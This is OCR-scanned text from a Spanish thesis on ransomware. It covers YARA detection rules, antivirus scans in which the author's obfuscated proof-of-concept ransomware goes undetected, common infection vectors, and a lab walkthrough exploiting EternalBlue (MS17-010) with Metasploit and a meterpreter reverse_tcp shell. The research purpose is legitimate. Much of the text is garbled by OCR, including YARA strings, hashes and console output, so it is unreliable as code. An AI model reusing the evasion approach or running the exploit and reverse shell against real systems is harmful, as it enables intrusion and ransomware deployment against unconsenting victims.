$ grep -r -1 "ldpreload" ./

rule

s [

[lustracién 59: Ejecucién de la herramienta Yara sobre la prueba de concepto
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--atom-guality-table=FILE path to a file with the atom quality table
--compiled-rules load compiled rules

--count print only number of matches

- -define=VAR=VALUE define external variable

--fail-on-warnings fail on warnings

--fast-scan fast matching mode

--help show this help and exit

--identifier=IDENTIFIER print only rules named IDENTIFIER
--max-rules=NUMBER abort scanning after matching a NUMBER of rules
--max-strings-per-rule=NUMBER set maximum number of strings per rule (default=10000)
--module-data=MODULE=FILE pass FILE's content as extra data to MODULE
--negate print only not satisfied rules (negate)
--no-warnings disable warnings

--print-meta print metadata

--print-module-data print module data

--print-namespace print rules' namespace

--print-stats print rules' statistics

--print-strings print matching strings

--print-string-length print length of matched strings

--print-tags print tags

--recursive recursively search directories
--stack-size=SLOTS set maximum stack size (default=16384)

--tag=TAG print only rules tagged as TAG

- -threads=NUMBER use the specified NUMBER of threads to scan a directory
- -timeout=SECONDS abort scanning after the giwven number of SECONDS
--version show version information

[lustracién 60: Opciones disponibles de la herramienta Yara

7 rule MachO_File_pyinstaller

8{
9 meta:
10 author = f L
11 description =
12 strings:
13 Sa = - rur e
14 b =
15 condition:
16 any of them
17}

[lustracion 61: Regla Yara MachO_ File pyinstaller

Si se dispone del binario malicioso puede analizarse aplicando ingenieria inversa y
buscar cadenas con los que realizar una nueva regla de clasificaciéon. Una posible regla
para detectar el ejecutable de la prueba de concepto se implementaria como en la
ilustracion 64, combinando el empaquetado con Pylnstaller como senal junto con la
cadena ‘ransom’. También podrian aplicarse patrones de la regla [dpreload para ajustar

mas la coincidencia y eludir falsos positivos.
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887 rule ldpreload

888 {

889 meta:

890 author=

891 reference= ps://stuf

892 strings:

893 $a = "dlopen” nocase ascii wide
894 Sb = "dlsym" nocase ascii wide

895 Sc = "fopen” nocase ascii wide

896 5d = "fopen6d” nocase ascil wide
897 Se = at" nocase ascii wide
898 5F = ated" nocase ascii wide
899 59 = nocase ascii wide
900 sh = stat” nocase ascii wide
981 51 = stated” nocase ascii wide
982 $j = "ope nocase asciil wide

983 sk = "rmdi nocase ascii wide

904 s1="__ nocase ascil wide
985 $m = " xstat64"' nocase ascii wide
906 sn = ink" nocase asciil wide
907 S0 = likat" nocase ascii wide
908 $p = 1 nocase ascii wide
989 s$q = " nocase ascii wide
910 5r = "rea nocase ascii wide
911 §s = "readdire4” nocase ascii wide
912 condition:

913 (%$a or $b) and 5 of them

914 }

Ilustracion 62: Regla Yara ldpreload

g $ yara -s -m -e crypto_index.yar ./Ejecutables/ransomD
.fcrypto/crypto_signatures.yar(11): warning: $c0 in rule Big_Numbers® is slowing down scanning
.Jerypto/crypto_signatures.yar(23): warning: $c@® in rule Big_Numbersl is slowing down scanning
.Jcrypto/crypto_signatures.yar(35): warning: $c@ in rule Big_Numbers2 is slowing down scanning

.Jerypto/crypto_signatures.yar(47): warning: $c@ in rule Big_Numbers3 is slowing down scanning
.Jerypto/crypto_signatures.yar(59): warning: $c@ in rule Big_Numbers4 is slowing down scanning
.Jerypto/crypto_signatures.yar(71): warning: $c@® in rule Big_Numbers5 is slowing down scanning

s ]

[lustracion 63: Ejecucion de la herramienta Yara con conjunto de reglas selectivas

1/*

2 Regla YARA para detectar el Ransomware creado como prueba de concepto (POC)
3%/

4

5 rule ransomTFG

6{

7 meta: //Metadatos, ofrecen informacién

8 author = "dmar i|—_

9 description = "ransomTFG creado con Pyinstaller"

10 strings: //En esta seccidn se declaran las cadenas que se quieren buscar
11 $3= Cansom

12 sb = pr run > ( II pylnstaller

13 $¢c = "pyi-bootloader-1ign s /] pyinstaller

14 condition: fﬁSe deflnen las condlctones

15 $a and (b or 5c) //si se encuentra la combinacién -> Ransomware detectado
16 }

Tlustracion 64: Regla Yara que detecta la prueba de concepto
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5.5.2. ClamAV

Es una colecciéon multiplataforma de herramientas antivirus con licencia GPL 2.0.
Incluye un escaner de linea de comandos. Soporta ficheros ejecutables portables de
Windows (PE) con compresién UPX y ficheros ELF y Mach-O, como los ejemplos
generados a partir de las pruebas de concepto. Puede detectar millones de ocurrencias
de todo tipo de software malicioso, troyanos, gusanos, virus, macros maliciosas de

Microsoft Office... Esta disenado para escanear archivos con rapidez [83].

Tiene wun ecosistema diverso entre proyectos comunitarios, productos y otras
herramientas y recibe actualizaciones regularmente, pudiendo mantener su base de
datos actualizada. Otra caracteristica es la posibilidad de utilizar el motor del antivirus
empleando un conjunto personalizado de reglas Yara en lugar de su base de datos por

defecto.

Se utiliza el escaner de linea de comandos para comprobar si los ficheros generados a
partir de las pruebas de concepto son identificados como malware [84]. Se crea una
carpeta con 4 ficheros ejecutables creados con la herramienta Pylnstaller, anadiendo
compresion UPX, cada uno de ellos con un nivel de ofuscaciéon determinado, de menor

a mayor:

* ransomA: Directamente desde el codigo fuente Python, con la tnica ofuscacién

de las cadenas de caracteres del cédigo en Base64.

* ransomB: Ademas de lo anterior, el codigo fuente se ofusca con todas las

opciones posibles utilizando pyminifier.
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* ransomC: Ademas de lo anterior, se comprime el contenido del cédigo fuente con

lzip y se codifica completamente en Base64.

* ransomD: Se crea una libreria compartida a partir de lo anterior, se compila en

lenguaje C, y se crea un nuevo fichero importando la libreria compilada.

Para cada opcion se genera también un segundo ejecutable sin compresion UPX, para
probar si tiene algin efecto sobre su identificacion. El resultado se muestra en la
ilustraciéon 65, donde puede comprobarse que los ejecutables pasan desapercibidos en

todas sus versiones, con la base de datos actualizada hasta la fecha.

5.5.3. VirusTotal

Sitio web muy conocido por la comunidad relacionada con la ciberseguridad. Permite
consultar si un fichero sospechoso, dominio, IP o URL cumple con alguna de las
premisas que lo identifican como malware, compartiéndolo con la comunidad. Para ello

hace uso de 61 motores de deteccion en linea y 55 antivirus [85].

En este trabajo se han subido a la plataforma los 8 ejecutables generados para
comprobar si son detectados y clasificados como software malicioso; todas las pruebas
dan el mismo resultado (ilustracién 66), ninguno de los motores detecta malignidad,
pasando desapercibidos para todos ellos. Desde el ejecutable generado sin ningtn tipo
de ofuscacién ni compresién (ransomA) hasta el mds sofisticado (ransomD),

independientemente de si el ejecutable se ha creado aplicando compresion UPX.

Este servicio ofrece mucha informacién una vez realizado el andlisis, calcula hashes
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(ilustracion 67), clasifica el tipo de fichero, examina dominios y direcciones IP

contactadas, ficheros empaquetados...

$ clamscan ./Ejecutables
/home/tfg/rules- master/EJecutables/ransomCNOUPX (0] 4
/home/tfg/rules-master/Ejecutables/ransomANOUPX: OK
/home/tfg/rules-master/Ejecutables/ransomD: OK
/home/tfg/rules-master/Ejecutables/ransomB: 0K
/home/tfg/rules-master/Ejecutables/ransomC: 0K
/home/tfg/rules-master/Ejecutables/ransomDNOUPX: OK
[home/tfg/rules-master/Ejecutables/ransomA: OK
[home/tfg/rules-master/Ejecutables/ransomBNOUPX: OK

SCAN SUMMARY
Known viruses: 8616415
Engine version: 0.103.5
Scanned directories: 1
Scanned files: 8
Infected files: 0@
Data scanned: 92.34 MB
Data read: 86.72 MB (ratio 1.06:1)
Time: 35.671 sec (0 m 35 s)
Start Date: 2022:05:11 19:26:37
End Date: 2022:05:11 19:27:12

[ustracién 65: Escaner de ClamAYV sobre las pruebas de concepto

Z'_/_; No security vendors and no sandboxes flagged this file as malicious

sdadahiffalizcied9sos] fdbaf f 3as0830abdebeffz Fis3d 1abeb0baz2di rs 10.84 MB 2022-05-13 10:03:19 UTC
ransomi
Sibils el via-lor

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Security Vendors® Analysis

Acronis (Static ML) () Undetected Ad-Aware A1 Undetected
AnnLab-va (/) Undetected Alvac /) Undetectad
Antiy-AVL () Undetectad Arcabit () Undetectad
Avast (+) Undetected Avast-Mobile (+) Undetected
Awira {no cloud) \_ Undetected Baidu :_‘- Undetected
EitDefender \' Undetected BitDefenderTheta .':fn Undetected
Bkav Pro /\ Undetected Clamay 'l Lindelected

[lustracién 66: Escaner de VirusTotal sobre la prueba de concepto
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Basic Properties

MDS 97ae36d0fab00a00d576ech21d060c05

SHA-1 84e7dedad6175c6554 26ad5dcafd103538e0d56e

SHA-256  5dBdeb0ffal33cieddso61fdbaf7 3269283 0abdebef27fE38d 14bO50032 2d7S

Whash (7aee6f6f0042a067h44be 711350343

SSDEEP  196608:2)KD4U4HD3GBRCOEECTVKOLE3A 10y00Z EMI+gAkzpdpdYMmTmopySFZ3HG WellvBoSROcIZm+paviTkL

TLSH T1ABBGE332T5BF4EBS3CZCEARTO34TECETETOBGC0ADCS493466T4FEB35925433ETBAEABZD

File typa ELF

IMagic ELF &4-bit LSBE axecutable, xB6-64, version 1 (S¥SV), dynamically linked [uses shared libs), for GNU/Linux 2.6.32, stripped
Telfhash 118420688082322a2b7592cd 708816109924 3346220 TBOf00bfhec2eb684601f7315¢3a

TriD ELF Executable and Linkable format (Linw) (50.1%)

TriD ELF Executable and Linkable format (generic) (49.8%:)

File size 10.84 MB (113587952 bytes)

History

First Submission  2022-05-13 09:25:06 UTC
Last Submission  2022-05-13 09:25:06 UTC
Last Analysis 2022-05-13 09:25:06 UTC

[ustracion 67: Informacién ofrecida por VirusTotal

Ademas utiliza una maquina virtual o sandbox que simula la ejecucién en un entorno
controlado, para ofrecer mayor detalle del comportamiento (ilustraciéon 68), trafico IP
generado, resolucién DNS, operaciones realizadas en el sistema, como en este caso las
habituales para la entrada/salida de ficheros, apertura, escritura, borrado, modificacién

de atributos, acciones sobre procesos y servicios del sistema, arbol de procesos...

&P Zenbox Linux

Behavior Tags
detect flf!hl)g enviranment SEIS-PIOCESS-NAme
Metwork Communication
DNS Resolutions
+  api.ipihong
+  apiipify.org herokudns.com

+  canonical-lgw0L.cdn.snaperaficontent.com

+  canonical-bos0l.cdn.snaperaficontent. com

IP Traffic
52.20.78.240:443 (TCP)
185.125.190.26:443 (TCP)

91.185.91.42:443 (TCF)

File System Actions

Files Opened
i

Idewloop-contral

[lustracion 68: Simulacion en una maquina virtual desde VirusTotal
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6. Vectores de ataque

6.1. Métodos habituales

Los vectores de ataque son las vias por las que el ransomware y cualquier otro malware
puede desplegarse en el equipo, el camino que los atacantes utilizan para comprometer
la seguridad del sistema. Desde el cambio al modelo de teletrabajo provocado por la
pandemia de coronavirus en el afio 2020 las campanas de phishing y los ataques a

escritorio remoto son los protagonistas.

El descontento a nivel laboral que un empleado pueda tener, asi como el no sentirse
parte de la organizacion, la falta de corporativismo y no mostrar preocupacién alguna
por la empresa pueden llevar facilmente a comprometer la seguridad,
independientemente de los esfuerzos que se hagan por parte del departamento de
tecnologias de la informacién y de todas las barreras que se pongan; peor aun si ese
empleado formara parte de dicho departamento. Este factor, atin teniendo una alta
repercusion, no suele tomarse en cuenta por parte de los érganos de gobierno o
directivos, no siendo capaces de ver la probleméatica desde este prisma y haciendo

hincapié solo en los departamentos relacionados con la seguridad informatica.

Un ciberdelincuente podria dar con este tipo de empleados y sobornarlos con poco

esfuerzo, incluso encontrar facilmente, y a estas alturas, credenciales de acceso con
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privilegios encima de una mesa, notas (post-it), en libretas, siendo todavia algo muy

usual.

6.1.1. Correos electrénicos maliciosos

Hacen creer al usuario que se trata de un correo legitimo, la descarga del fichero anexo
y posterior ejecucion producen la infeccion. La descarga del ejecutable también puede
producirse por seguir un enlace URL a una direccion web preparada para ello. Si el
ataque va dirigido es muy probable que llegue a tener éxito. Si un ciberdelincuente
consigue obtener direcciones de emails de trabajadores de una empresa y elabora una
comunicacion confiable, cuyo contenido esté relacionado con el ambito de la
organizacién, caer en la trampa estard a la orden del dia. Actualmente las campanas de
sensibilizacién y formacion hacia este tipo de ataques son constantes, pero aun asi el
riesgo es muy alto. La ingenieria social tiene un papel importante en este tipo de
ataques, recabando una informaciéon muy valiosa utilizada para atacar y acceder a

equipos con privilegios.

Otros tipos de campafas no dirigidas envian emails con una temaéatica global, empresas
nacionales, hacienda ptublica, empresas de reparto, cajas de ahorros... méas generalista.
Cuanto mejor hecha esté la campana mas probabilidad tiene de éxito. Son ya
habituales aquellas con faltas de ortografia, textos con una gramatica incorrecta y

contenido con poca légica que rapidamente pueden identificarse.
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6.1.2. Kits de exploits

Formados por conjuntos de herramientas que buscan plugins obsoletos o no parcheados
instalados en los navegadores y aprovechan vulnerabilidades asociadas a ellos para
realizar operaciones maliciosas [86]. Pueden tomar el control de la maquina y desplegar
cualquier tipo de malware. A partir de una redirecciéon, un enlace web en un servidor
comprometido o a través de un email o un anuncio (malvertising), puede llegarse a la
web maliciosa que explore el equipo en busca de alguna vulnerabilidad para tomar el
control (ilustracién 69). En la actualidad quedan pocos kits de exploits operativos, y
siempre han estado orientados al navegador Internet Explorer de Microsoft, aunque
recientemente se han visto ataques dirigidos al navegador Chrome mediante el kit de

exploits Magnitude [87].

oy R

Ciberdel'gncuente Victima

| Envia correo malicioso con un enlace a una direccion web

VVM

< Sigue el enlace web pinchando sobre él

| El kit de exploits busca y encuentra una vulnerabilidad

< Retorna una shell directa o inversa (involuntariamente)

A2

| Transfiere el ransomware al sistema v lo ejecuta

N

< Realiza el pago y lo comunica por email

| Entrega aplicacion para descifrar con clave para desencriptar

Qm Q5

Ciberdelincuente Victima

l\/

[lustracién 69: Procedimiento de infeccion a través de kits de exploits
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6.1.3. Redes peer-to-peer

Otro origen donde encontrarse con el ransomware es en el uso de redes de pares, (peer
to peer o P2P), para compartir y descargar aplicaciones. Es muy probable dar con un
ejecutable malicioso que simule ser software legitimo. En este tipo de redes se buscan
aplicaciones que evaden las licencias, archivos con contenido multimedia o peliculas que
realmente no lo son, ficheros comprimidos con el ransomware en su interior (ilustracion

70)...

&l

V1
Victima Ciberdelincuente

Se conecta a redes P2P o web maliciosas de descarga de ficheros

fs;‘a'\ < Descarga el ransomware voluntariamente y lo ejecuta

Realiza el pago y lo comunica por email

Entrega aplicacion para descifrar con clave para desencriptar

o) - Vs

. [—
Victima Ciberdelincuente

[lustracién 70: Procedimiento de infeccién mediante redes P2P o descarga de ficheros

6.1.4. Unidades extraibles de almacenamiento

El uso de llaves de memoria, discos compactos, pendrives o discos duros externos son

una fuente de infecciones de todo tipo, entre ellas el ransomware. Una unidad podria
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estar infectada, reproduciendo el ejecutable con solo instalarse en el equipo. Si el
antivirus no es capaz de detectar la malicia de este ejecutable, como ocurre con las

pruebas de concepto implementadas, el problema esta servido.

Una medida muy utilizada por parte de los departamentos de sistemas es bloquear el
uso de los puertos USB en las estaciones de trabajo, de manera que no se permita esta

actividad, con los inconvenientes que esto conlleva.

Los sistemas operativos actuales suelen tener el inicio automaéatico deshabilitado
(autorun) para evitar posibles infecciones. En su lugar aparece un ment donde se
pregunta qué se desea hacer, si ejecutar, no hacer nada.. por lo que la infeccién sigue

siendo posible si se consigue enganar a la victima.

6.1.5. Ataques a Escritorio Remoto (RDP)

La pandemia de coronavirus ha provocado un cambio estructural nunca antes visto.
Las empresas y organizaciones tuvieron que desplegar a marchas forzadas, y por tanto
en muchos casos cometiendo errores, el uso del escritorio remoto para seguir con su
actividad. El teletrabajo se ha instaurado a nivel mundial y parece haber llegado para
quedarse, trayendo consigo una nueva amenaza, la explotacion de servicios
desactualizados o vulnerabilidades relacionadas con RDP (Remote Desktop Protocol),
sensible también a ataques por fuerza bruta por diccionario buscando claves débiles

para conseguir el acceso.

El elevado niimero de nuevos teletrabajadores ha provocado también, en mayor escala,

la aplicacion de la politica empresarial BYOD (Bring Your Own Device) [88], ya que no

todas las empresas o administraciones publicas disponen de los recursos suficientes para
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equipar a sus plantillas. El hecho de que un empleado utilice un equipo de su propiedad
para realizar su trabajo conlleva muchos riesgos asociados, si estos equipos carecen de
supervision o mantenimiento por parte del departamento TIC (Tecnologias de la
Informacién y las Comunicaciones) de la organizacion. Los equipos personales suelen
estar desactualizados y no tienen las medidas de proteccion que si pueden estar

establecidas en una red corporativa.

Para un ciberdelincuente, tomar el control de uno de estos equipos le abre las puertas a
obtener las credenciales corporativas y permitir el acceso remoto a la red. Pueden por
ejemplo emplearse keyloggers, exportar certificados digitales u obtener las contrasenas
guardadas en los clientes de conexiéon por VPN, aunque hay medidas que mejoran
notablemente la seguridad en estos casos como la autenticacién por doble factor (2FA),

que no todas las organizaciones implementan.

Una de las vulnerabilidades con mayor presencia aparecié en 2019, BlueKeep, su
explotacion otorgaba privilegios de usuario NT Authority /System y pillé desprevenido

a muchos profesionales durante la explosién del teletrabajo [89]-[90].

Los ciberdelincuentes realizan escaneos masivos mediante barridos de direcciones IP
buscando el puerto 3389, el asignado a RDP en sistemas Windows, analizando la

posible vulnerabilidad del servicio asociado.

Existen otras operaciones que emplean técnicas mediante RDP, como los movimientos
laterales o la misma habilitacion del servicio RDP: Una vez se consigue acceder a la
maquina objetivo explotando cualquier vulnerabilidad, se cambian las credenciales y se

habilita el acceso remoto, que abre las puertas a realizar otras operaciones, desactivar
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el antivirus, crear persistencia, desplegar otras herramientas o ejecutar un ransomware

o cualquier otro malware [91].

6.1.6. Vulnerabilidades en el software

Las constantes actualizaciones de software publicadas dan fe de esta problematica;
parches de seguridad en sistemas operativos para todo tipo de componentes, software
ofimatico, de reproduccion de video, editores de toda indole, sobre intérpretes como la
maquina virtual de Java, software de virtualizacién, controladores, firmware de
dispositivos de comunicaciones (routers, switches...), hasta dispositivos orientados a la

seguridad, todo puede verse afectado por una brecha de seguridad.

Los ataques 0-day, que aprovechan vulnerabilidades desconocidas que atn no han sido
resueltas, enturbian més el panorama. Pero aun existiendo agujeros de seguridad
conocidos con soluciones ya implementadas se siguen explotando debido a la falta de
mantenimiento de las infraestructuras. Muchas empresas de menor envergadura
(pymes) prescinden de profesionales dedicados y carecen de politicas de seguridad y
planes de contingencia, por lo que un ataque por ransomware los forzaria practicamente

a realizar un pago por el rescate de toda su informacién.

Conocer cuéles son las vulnerabilidades més explotadas en un preciso momento puede
dar una idea de hacia donde se dirigen los ciberdelincuentes y recordar no dejar esas
puertas abiertas si no se han aplicado ain los parches de seguridad [92].

Los usuarios domésticos también son propensos a caer en este tipo de infecciones, ya

que no suelen mantener los equipos actualizados. Sigue sin haber conciencia plena sobre
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la realizacién de copias de seguridad. Una vez sufrida la pérdida, creyendo desde

siempre ser ajenos a ella, es cuando se percatan de esta problematica (ilustracién 71).

6.2. Explotando una vulnerabilidad (CVE-2017-0143)

El despliegue del ransomware en los equipos de las victimas es el objetivo principal de
este tipo de ataques. Puede realizarse empleando varios métodos, dependiendo del

vector de infeccién utilizado.

* Ejecucién del binario accionada por la victima (client-side): En este caso sera la
propia victima la que caiga en el engano y ejecute el malware sin saber qué es lo
que esta haciendo. Esto se consigue a través de campaiias de emails o enlaces
web maliciosos, instalacién de pendrives infectados o descargando ficheros de
fuentes no confiables. Suele ser el modus operandi para ataques no dirigidos,
donde aleatoriamente cualquier usuario doméstico o empresa podria convertirse

en victima.

* Ejecucién del binario accionada por el ciberdelincuente: Este método es mas
sofisticado. Consiste en tomar el control de la maquina a infectar a través de la
explotacion de una vulnerabilidad existente en el equipo, que puede realizarse

manualmente o mediante kits de exploits redirigidos por enlaces web.

Los ciberdelincuentes exploran la red buscando direcciones IP y puertos abiertos,
identifican el sistema operativo, los servicios disponibles en esos puertos y si
existe alguna vulnerabilidad conocida para pasar a explotarla y tomar el control
de la méaquina (ilustracion 71). Una vez dentro el abanico de operaciones que

pueden realizar es extenso, implementar la persistencia de la toma de control
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para tener el equipo siempre disponible aunque este se reinicie, movimientos
laterales para infectar otras estaciones de trabajo o servidores de la red,
desplegar todo tipo de malware, entre ellos un ransomware, accionar la camara,

tomar instantaneas, grabar audio y video, keyloggers...

. 2 Em

Ciberdelincuente Victima

[ Explota una vulnerabilidad encontrada en un servicio (Ip:Puerto) >

< Retorna una shell inversa o directa (involuntariamente) ]
| Transfiere el ransomware al sistema y lo ejecuta > /‘%-‘ﬁ\
< Realiza el pago y lo comunica por email ]

| Entrega aplicacién para descifrar con clave para desencriptar >

- | -

Ciberdelincuente Victima

[lustracién 71: Procedimiento de infeccion mediante explotacion de vulnerabilidades

Para llevar a cabo las pruebas de explotacion se ha utilizado una maquina virtual como
atacante con la distribucion Kali Linux. La victima serda una méquina virtual con
Metasploitable3, OpenVAS como analizador de vulnerabilidades y el Framework

Metasploit, entre otras herramientas.

Una vez realizada la busqueda de vulnerabilidades sobre la maquina objetivo mediante

OpenVAS, el resultado muestra numerosos puertos abiertos, servicios asociados a ellos
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y brechas de seguridad no corregidas con una puntuacién relacionada con su

peligrosidad, entre ellas se escoge una asociada al protocolo SMB (ilustracién 72).

Si se analiza la informacion suministrada puede verse la falta de una actualizacién de
seguridad critica en el sistema publicada en el boletin de Microsoft MS17-010, basada
en el protocolo SMBv1 (ilustraciéon 73), aunque en las vulnerabilidades descritas en la

documentacion de Metasploitable3 no aparece esta concretamente [93].

Dashboards Resilience Secinfo Configuration Administration

[ 1-10 of 194 [> [
Host
Vulnerability » Severity ¥ QoD Location Created
P Name

M515-034 HTTP.sys Remote Code Execution Vulnerability I 100 iigh) | Mon, May 23, 2022
(Active Check) 2 959% 192.168.10.8 192.168.10.8 80/tcp 11:35 PM CEST
Elasticsearch End of Life (EOL) Detection S, EETETTEE 80% 192168108 192168108  0200tcp  honotay23 2022
OpenSSH X11 Forwarding Security Bypass Vulnerability Mon, May 23, 2022
(Windows) Ii, 9.8 {High) 80% 192.168.10.8 192.168.10.8 22ftcp 11:05 PM CEST
Elasticsearch < 1.6.1 Multiple Vulnerabilities (Windows) S, EETITTEEN 0% 192.168.10.8 192.168.10.8 9200/tcp e T
Microsoft Windows Remote Desktop Services 'CVE-2019-0708" Mon, May 23, 2022
Remote Code Execution Vulnerability (BlueKeep) - (Remote 2, XX 99 % 192.168.10.8 192.168.10.8 3389/tcp 11_3'5 P':CE%T
Active) :
Elastic Elasticsearch 'CVE-2018-3831" Information Disclosure - Mon, May 23, 2022
Vulnerability (Windows) |_'_| 8.8 {High) 80 % 192.168.10.8 192.168.10.8 9200/tcp 11:05 PM CEST
Microsoft Windows SMB Server Multiple Vulnerabilities-Remate s Mon, May 23, 2022

I[40133891 I - 95% 192.168.10.8 192.168.10.8 445/tcp 11:35 PM CEST
SSH Brute Force Logins With Default Credentials Reporting & EEEITTEE 9% 192.168.10.8 192.168.10.8 22ftep rf_';'sMP‘:}‘" 22512_022
OpenSSH Denial of Service And User Enumeration . EEETTTEE Mon, May 23, 2022
vulnerabilities (Windows) = 80% 192.168.10.8 192.168.10.8 22/tcp 11:05 PM CEST
Oracle Glass Fish Server Directory Traversal Vulnerability *, 99 % 192.168.10.8 192.168.10.8 4848/tcp ;“.I?:I-IBIBMP‘:: éé.’;ozz

Apply to page contents v | <3
overrides=0 min_god=70 sort.reverse=severity rows=10 first=1 1-10 of 194 [> [>]

[ustracién 72: Escaneo de vulnerabilidades con OpenVAS

También se indica el impacto que tendria si un atacante accediera a la maquina, la
solucién o recomendacién para mitigar ese impacto y una serie de referencias que

identifican la vulnerabilidad y dénde obtener mas informacién (ilustracion 74).
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Summary

This host is missing a critical security
update according to Microsoft Bulletin M517-010.

Scoring

CVSS Base
CVSS Base Vector CV55:3.0/AV:NJAC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Origin NVD
CVSS Date Thu, Jun 21, 2018 3:29 AM CEST
Insight

Multiple flaws exist due to the way that the
Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests.

Tlustracion 73: Informacién acerca de la vulnerabilidad relacionada con SMBv1

Impact

Successful exploitation will allow remote
attackers to gain the ability to execute code on the target server, also
could lead to information disclosure from the server.

Solution

Solution Type: §, Vendorfix
The vendor has released updates. Please see the references for more information.

Family
Windows : Microsoft Bulletins

References

CVE CVE-2017-0143
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147
CVE-2017-0148

CERT DFN-CERT-2017-0448
CB-K17/0435

Other https://support.microsoft.com/en-us/kb/4013078

http:/fwww.securityfocus.com/bid/96703

http:/fwww.securityfocus.com/bid/96704

http:/fwww.securityfocus.com/bid/96705

http:/fwww.securityfocus.com/bid/36707

http:/fwww.securityfocus.com/bid/96709

http:/fwww.securityfocus.com/bid/96706

https:/ftechnet. microsoft.com/library/security/M517-010

https://github.com/rapid7/metasploit-framework/pull /8167 ffiles Greenbone Security Assistant (GSA) Copyr

[ustracién 74: Impacto, soluciéon y referencias acerca de la vulnerabilidad analizada

Con esta informacion, a través del Framework Metasploit se dispone a realizar una

prueba de penetracion. Para ratificar los resultados obtenidos por OpenVAS se realiza
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otro nuevo escaneo de puertos y servicios a través de la herramienta db_nmap, que es
igual que nmap pero con acceso a la base de datos de Metasploit (ilustracién 75). Estos
muestreos a discrecién hacen saltar las alarmas cuando existen sistemas IDS, por lo que
el atacante, para evitar ser detectado, serda mas cuidadoso y selectivo dirigiéndose a un

puerto en particular empleando maniobras sigilosas.

msf6 > db_nmap -sV -
Nmap: "You regue
[!] Running Nmap with sudo
Nmap: Starting Nmap 7.92 ( http
Nmap: Nmap scan report for 192.
Nmap: Host is up (@.00019s latency).
Nmap: Not shown: 981 closed tcp ports (reset)
Nmap: PORT STATE SERVICE VERSION
Nmap: 21/tcp open ftp Microsoft ftpd
Nmap: 22/tcp open ssh OpenSSH 7.1 (protocol 2.8)
Nmap: | vulners:
Nmap: | cpe:/a:openbsd:openssh:7.1:
Nmap: | 2C119FFA-ECE@-5E14-A4A4-3
ulners.com/githubexploit/2C119FFA-ECEB-5E14-AdL
IT*
Nmap: | PACKETSTORM: 14007@
etstorm/PACKETSTORM: 140878 *EXPLOIT*

[lustracién 75: Escaneo de puertos y servicios con db_nmap

El resultado (ilustracién 76) de los scripts ejecutados reafirman lo obtenido con
OpenVAS, por lo que se procedera a intentar explotar la vulnerabilidad elegida
buscando algtin exploit relacionado con la misma, accediendo a la consola del

framework con el siguiente comando:

$ msfconsole

Se utiliza el comando search y el nimero de boletin de Microsoft como argumento,
hallando varios exploits relacionados con el ataque (ilustracién 77). Se selecciona el
primero, EternalBlue [94], conocido por ser el utilizado en el ataque mundial de

ransomware con WannaCry el 12 de mayo de 2017, y se analiza la informacion

116



disponible (ilustracién 78). Se puede consultar quiénes son los proveedores del exploit,
los sistemas operativos objetivo y una descripcién general ademéas de referencias, al

igual que ocurre con OpenVAS. (ilustracién 79)

Nmap:

Nmap:

Nm

Nmap:

Nmap:
VULNERABL
Remote

Nmap:
Nmap:
Nmap : A C ical exec exists in Mi

ers (msl7-@
NETH Disclosure date:
Nmap: ere :
Nmap:
Nmap:
r-guidan

Nmap:
1@.aspx

>|search ms17-018@

ching Modules

Name
escription

@ exploit/windows/smb/ms17_010_eterna e 2017 : average
MS17-818 EternalBlue | ] el orruption
1 1] / € € norma L Yes
: SMB Remote Windows

Code tion
?  auxiliar /s 7 : ! normal No
M517-901@ Et i ) /Eter SME Remote Windows
Command
/smb/smb_ms17_01@ normal No
ction
4 exploit/windows/smb/smb_doublepulsar_rce 2017-84-14 great Yes
SMB DOUBLEPULSAR Remote Code tion

[lustracién 77: Busqueda y seleccion del exploit
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msf6 exploit( )} = show info

Mame: MS17-81@ EternalBlue SME Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_81@_esternalblue
Platform: Windows
Arch:
Privileged:

Disclosed:

[ustracion 78: Informacién del exploit seleccionado

Description:
This module is a port of the Equation Group ETERNALBLUE exploit,
0 i dow Brokers. There is a
aToNt. The size i

l pool is
Bvl buf

This expleoit, like the original may
of the time, and should be rum continuously until
gg ms like the pool will get hot streaks and need a

cool down period before the shells rain in again. The module w
attempt to use Anonymous login, by default, to authentica to
perform the loit. If the user supplies ent s in the

, and SMBDomain options it w those instead.
On some systems, this module may cause system instability

'
crashes, as a B50D or a

212

docs.microsoft.com/en-us/security-upda

—+
—+

+

—+
TETETTETETO
[ T T I o RV R T R )

vuln/detai
vuln, i

+ o+
~+ +

| -
= gl g gl g . i i
+ + 2
~+ +

=N
s

[Nustracion 79: Informaciéon y referencias de la vulnerabilidad mediante Metasploit

El siguiente paso es configurar los pardmetros antes de proceder a su ejecucion, en este
caso solo debe asignarse la direccion IP del host remoto (RHOSTS) (ilustracion 80) y

ya puede ejecutarse el exploit (ilustracion 81).

118



No payload configured, defaulting to windows/x Le
msf6 exploit( )} = show options

Module options (exploit/windows/smb/msl17_ 810 eternalblue):

Name Current 5S¢ ing Required Description

RHOSTS yes T

1t
RPORT 4 The target port (TCP)
SMEDomain (Optional) The Windows domain
to use for authentication. Onl
2008
indows 7, Windows Embedde
d Standard 7 target machines.
SMEPass (Optional) The password for th
e specified username
SMBUser (Optional) The usernmame to aut

VERIFY_ARCH Lrue Ve C f remote architecture m
: ploit Targe Only af
s Windows Se
Windows 7, Windows Embedded
andard 7 target machines.

[ustracion 80: Opciones del exploit

Payload options (windows/x64/meterpreter/reverse_
Name Current Setting Required
EXITFUNC thread
rocess, non

LHOST 192.168.1@.55 L e listen address (an

LPORT bbb

Exploit target:

Id MName

Automatic Target

El
[fgl
—t+
[=)]

(Wl [+

192.168.10.8

nl
v T
-+ O

El
=]

= lexploit

reverse TCP handler on 192.168.10.55:444
- Using auxiliary anner/smb/smb_ms17_01@ as check
VULNERABLE to MS17-818! - Windows
1 x64 (64-bit)

[lustracion 81: Configuracion y ejecucion del exploit
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El payload seleccionado por defecto es meterpreter [95]-[96], una shell con comandos
adicionales que permite realizar todo tipo de operaciones una vez se acceda a la
méquina. En este caso es una shell inversa (reverse_tcp), donde el atacante deja un
puerto TCP a la espera y es la victima la que realiza la conexién, desplegdndose una
shell con entrada y salida hacia el puerto TCP especificado. Otro tipo de payload que
suele estar disponible es la conexion directa o bind tcp, funcionando de manera
contraria; La victima despliega una shell con entrada y salida hacia el puerto TCP
indicado, y es el atacante quién se conecta a este puerto para realizar las operaciones.
Este método tiene mayores problemas si existen medidas de seguridad como cortafuegos
